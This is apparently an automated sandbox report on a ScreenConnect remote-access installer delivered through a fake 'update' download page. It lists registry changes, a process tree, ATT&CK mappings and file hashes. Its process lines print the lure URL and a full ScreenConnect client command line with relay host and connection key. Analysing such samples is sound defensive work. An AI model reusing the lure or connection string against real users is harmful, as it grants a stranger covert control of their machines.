Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.5.3.9691\\8f2c1388bb0e2126\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8f2c1388bb0e2126\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8f2c1388bb0e2126\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (8f2c1388bb0e2126)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\Language = "1033"	msiexec.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe:Zone.Identifier	chrome.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3108	chrome.exe
3108	chrome.exe
2836	msiexec.exe
2836	msiexec.exe
4824	ScreenConnect.ClientService.exe
4824	ScreenConnect.ClientService.exe
3108	chrome.exe
3108	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
3108	chrome.exe
3108	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe
Token: SeShutdownPrivilege	3108	chrome.exe
Token: SeCreatePagefilePrivilege	3108	chrome.exe

Suspicious use of FindShellTrayWindow 63 IoCs

pid	Process
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
4496	msiexec.exe
4496	msiexec.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 31 IoCs

pid	Process
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
3108	chrome.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe
4804	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3108 wrote to memory of 3388	3108	chrome.exe	83
PID 3108 wrote to memory of 4720	3108	chrome.exe	84
PID 3108 wrote to memory of 4720	3108	chrome.exe	84
PID 3108 wrote to memory of 5116	3108	chrome.exe	85
PID 3108 wrote to memory of 4156	3108	chrome.exe	86
PID 3108 wrote to memory of 4156	3108	chrome.exe	86
PID 3108 wrote to memory of 4444	3108	chrome.exe	87
PID 3108 wrote to memory of 1888	3108	chrome.exe	88
PID 3108 wrote to memory of 4444	3108	chrome.exe	87
PID 3108 wrote to memory of 1888	3108	chrome.exe	88
PID 3108 wrote to memory of 3012	3108	chrome.exe	91
PID 3108 wrote to memory of 4580	3108	chrome.exe	93
PID 3108 wrote to memory of 4428	3108	chrome.exe	94
PID 3108 wrote to memory of 640	3108	chrome.exe	95
PID 3108 wrote to memory of 4300	3108	chrome.exe	96
PID 3108 wrote to memory of 548	3108	chrome.exe	97
PID 548 wrote to memory of 4496	548	ScreenConnect.ClientSetup.exe	98
PID 2836 wrote to memory of 2904	2836	msiexec.exe	101
PID 2904 wrote to memory of 5032	2904	MsiExec.exe	102
PID 2904 wrote to memory of 2044	2904	MsiExec.exe	110
PID 2904 wrote to memory of 1572	2904	MsiExec.exe	106
PID 2836 wrote to memory of 2880	2836	msiexec.exe	113
PID 2836 wrote to memory of 436	2836	msiexec.exe	115
PID 2836 wrote to memory of 4584	2836	msiexec.exe	116
PID 4824 wrote to memory of 4804	4824	ScreenConnect.ClientService.exe	118

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://onixone.com.co/UPDATE/download.html
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffefc56c728,0x7ffefc56c734,0x7ffefc56c740
  2⤵
  PID:3388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1584,i,17093344825714725585,6381765462656396726,262144 --field-trial-handle=1896,i,10762422677033896035,11001766471495926,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1892 /prefetch:2
  2⤵
  PID:4720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2192,i,16507332953023194089,8493616161559852796,524288 --field-trial-handle=1896,i,10762422677033896035,11001766471495926,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2188 /prefetch:11
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:5116
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2308,i,5099372137503663938,4842016617084464878,524288 --field-trial-handle=1896,i,10762422677033896035,11001766471495926,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2560 /prefetch:13
  2⤵
  PID:4156
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3212,i,789611917394809367,17647179268422853913,2097152 --field-trial-handle=1896,i,10762422677033896035,11001766471495926,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3268 /prefetch:1
  2⤵
  PID:4444
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3208,i,7419160237123035003,16114245628207852558,2097152 --field-trial-handle=1896,i,10762422677033896035,11001766471495926,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:1888
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5160,i,5298508505586122365,3704752466326721195,524288 --field-trial-handle=1896,i,10762422677033896035,11001766471495926,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5164 /prefetch:14
  2⤵
  PID:3012
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5420,i,16787000820739288358,10020456400183548317,524288 --field-trial-handle=1896,i,10762422677033896035,11001766471495926,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=5620 /prefetch:14
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - NTFS ADS
  PID:4580
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6500,i,6871978233322421872,2824001043860382896,524288 --field-trial-handle=1896,i,10762422677033896035,11001766471495926,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6416 /prefetch:14
  2⤵
  PID:4428
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5640,i,1173778252558152920,15817416067665453585,524288 --field-trial-handle=1896,i,10762422677033896035,11001766471495926,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6240 /prefetch:14
  2⤵
  PID:640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5632,i,17083068735922577567,11779260723129867835,524288 --field-trial-handle=1896,i,10762422677033896035,11001766471495926,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=6212 /prefetch:14
  2⤵
  PID:4300
- C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe
  "C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.5.3.9691\8f2c1388bb0e2126\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe"
    3⤵
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    PID:4496

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4696

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 49879F6D6FE77653F46DBF6A5DC98D39 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2904
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6855.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240740531 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5032
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6BE0.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240741343 10 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    - Loads dropped DLL
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    PID:2044
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7075.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240742531 14 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1572
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2880
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F6878E4B9B436561420D49271FAA5EBA
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:436
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6CDCFC2F7050FA17F1FE894BBBFC8D6D E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:4584

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:4024

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:2044

C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-v5alqt-relay.screenconnect.com&p=443&s=cc2cc2c1-9dab-43b4-a44e-7b98c0771b3f&k=BgIAAACkAABSU0ExAAgAAAEAAQA1Evk6VOzuwicjxa7G2rKNhdjJec%2bY4EthW4f64A2L4AYUyJ4ZF7gdGQMvqx6t0s2%2fWaJFh01C881DD%2fShkckWbb2VIkR1Xi4eQf9cqW1ZsdknO1MHbngmGQ%2fgbmClwTExRo6AVGN1d5xUKDBZitimulJqVpncnw3Ycy%2f%2fZywms%2fnauK9NDd2Qr2YZ1E5%2bKxsx4hrdIk67XMsCFY7uiZ9wfOn5ABTHTDECcWfdque8E5pdyYnLpnzcoMbPglAt9Cvh6ohoCQcfyVmzAPsn9isUM3l7Gwx6yy4pBOk4ct79UrWADARji8ERwrzNGfN61dr9hks1%2bJZBsNpB4vAWMyHI"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4824
- C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.WindowsClient.exe" "RunRole" "99b87896-762e-491a-a1e1-2807e3f5386f" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4804

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59a86c.rbs

Path C:\Config.Msi\e59a86c.rbs
Size 214KB
SHA256 17946616e6c0cca879c5ac78224419c00b5e0d11333016f59289cd2ed6bf1446
MD5 4d2fa64ce7e2a8129b6ddb758a404735
SHA1 1e67d80180451ea3927bc91658daa9dd6b2325e2
SHA512 627f569993ed30ffe81a0551354c3718aef88ef0506ec39a590a8d5b60933f514b077cc6b009b6f9fbc55431385c45e36b239ab31ebbf190a3bc69c219776c05
SSDEEP 3072:Qj9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGq:QjuH2aCGw1ST1wQLdqvq
TLSH
T152248C217484807EE7FA1A32D93F9A61BE7CF6241760C59EC3848C1E9D604D06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.ClientService.dll
Size 92KB
SHA256 ed32fe0d924959020cbef0534a7ba612e94263ccc74837475f3b5a6a726acad0
MD5 29e07dd26e1a322bc49505d0239c78ed
SHA1 bc45a3738ed666f2b6b94f22bc7fe22ffedd01e5
SHA512 3639a2889f6187144364ca73d3c13eec2bfa31964bbbe148d26352ea52f6fb7e1010d92a83e362092ab3a47f206a5849972b84b72389367e7aceb96d84d98464
SSDEEP 1536:Yz0NVwxLGDPpGiIVzLU49GWZaiQOV+eD/0nUazxDa91g0Bp7A:Yz2Lj8FFPA0QOVx/IUazxDa91gEpc
TLSH
T123935C4293BCA92ACDDF1E34B461F1610AB1B913D8E6EBD46DC860DA1F523D21F4439B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 16b4c273a25526e7262716ebe9d46480962347191a034595f18be740d9ce1e17
MD5 e1f2d75dd49355496a2e147cef862ede
SHA1 c7deaed84f074f4618c41132c89017a1d66191c1
SHA512 beed34147f64f740fadff9dbd7537183f4f9effa33a28e7adc7b12240e2e66ae46149f39c17adc0564a4487fbfca75f22d88556e4b3969779459018f80a5045b
SSDEEP 1536:dg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgcU0HME75:uhbNDxZGXfdHrX7rAc6myJkgcU0HxV
TLSH
T102935B13B5C28872D473093158E0DAB09A3FF9615E61DEAB3798022E4F742C1AE75E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.Core.dll
Size 579KB
SHA256 f64cb7ab5f105c22348a22e02dd506ff45456884639fee0f322862112860af24
MD5 f2577cb81a640ef1219dac5e98e72a30
SHA1 a7507898469487eb7c7fed613194cf97273a5fc6
SHA512 424ce0322428eee6ab0ac3ebbe5cebdcd48247a4e0f805ae77ea6fb115e12e20f0ac80749a65f4bf5de57622111e65933f8bbe1929d052fa91b57970b8eae901
SSDEEP 6144:X3IGbCeeMkZBRqj1xcvWlEfu37PtJp71A/J7ysZVFeEjIfR9BwnNXJyS/chwDTaT:npbCeMmxnFrtyFQEq+NXJyLAO
TLSH
T122C47D1273D8B767C5BE1B7BE0B061144270E40A7CBBE79B1994F4A9ACA73854E413B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111
Size 727B
SHA256 ae1526a214c99736d149b0b720cd0f3962142c6d5d3f085396afd0a901fc71cb
MD5 14e0ab038228a799986a55b9204ae02b
SHA1 c5864440d368b7562c0b1617f7a5c34057f07821
SHA512 a944c7302ac6c2d2ab3a9fdba5756fb364754bc9fe8721db68f8ad9715ea101f201b2779133ab6d770dd6cab15640cf16bcc1c6ad87af393d77a9a386c01dc36
TLSH
T128014901D97DF20CFF024998797447707BD9A016B7C591A522FD4758AF45F63DC03240
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 727B
SHA256 307db0fb56225eedd300dafb363d7b91db4e02c6c5d308c0b36c7bcb06d67d90
MD5 a945b09f6acdc44d1ea34f30071119d7
SHA1 32b494f5767b7a00ae716f5b62889f8fcd05e4da
SHA512 bb37807220b24bdd5200664b69c4f9bd808e9879d3dd65e309c43dd9ba3856d0a315088e56c8179d069f14008abf6148ce10ad24ed25fa57ce148d59135d2f22
TLSH
T1FE0115430962BF007D514C46B7ADD9F472B1018E10C007B3B679104656DA2F6A6404B9
MD5 SHA1 SHA512 TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_59E89BCE9615F2B61F2F2C691688F111
Size 404B
SHA256 3c57df97ec73426f6cbcc722bfd83bf632d839b77758e3ff13ff83f247660014
MD5 12a55798b881f5916e81a1ff44d29d6e
SHA1 45f43f20718da284397b419b2e6d575520b4fbc0
SHA512 6375f2467c233756e91a6f05c3eb7ba1d067ce1981680f0b71ef54bdf3bba29c7129d7d0f5363960b9f75ab89040c6d5f5c7f7bd818fa7a283f3003a73f244da
TLSH
T191E0263433F9869DF1E1E83A86FA9E1398D9F25F4545D2A936502305AA29B009CE2664
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 412B
SHA256 e5628201645ceaad2db765dc99f3c07acde26fa7e02019bf50c069f63d4784fc
MD5 3fdf5a2527e2d745c6a48d28f5eb2153
SHA1 186964e336eccf3628deaeadffa100d923cb7cf8
SHA512 820b63c6cccf9f194f004ae22c92637f0691e3f5817a7a8c8a862a2c013fc97d7a507a1bf078bb44b7f9d1ecf3184f7525c3115948319d31bc7cb3fc06438282
TLSH
T1D8E06F3823EBA55EF0908D3082FEA0720D4AE60A244493BA06800309AB0BF00AC22AB0
MD5 SHA1 SHA512 TLSH

Submit Download

230fd1a9-3d90-4987-8bb4-f75f65ab6a0d.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\230fd1a9-3d90-4987-8bb4-f75f65ab6a0d.tmp
Size 170KB
SHA256 23482561fb892b25ea14cd72a3fdc6ed7ff2ee8bc3890359d0ad32ddadc004a3
MD5 c24b093328be92cd7f3451c56d7be91b
SHA1 b75ac2ab4bf87b36c88c3ecabbef4564853f4f3e
SHA512 0fc7bcd116218c76ba721850cc3e69317c5a386d8bd894b1990d89535f2767fea58b9c52a68fcd14ad248390e5a2b0ebe2e1b928f2a9964631e2f048493dcc2c
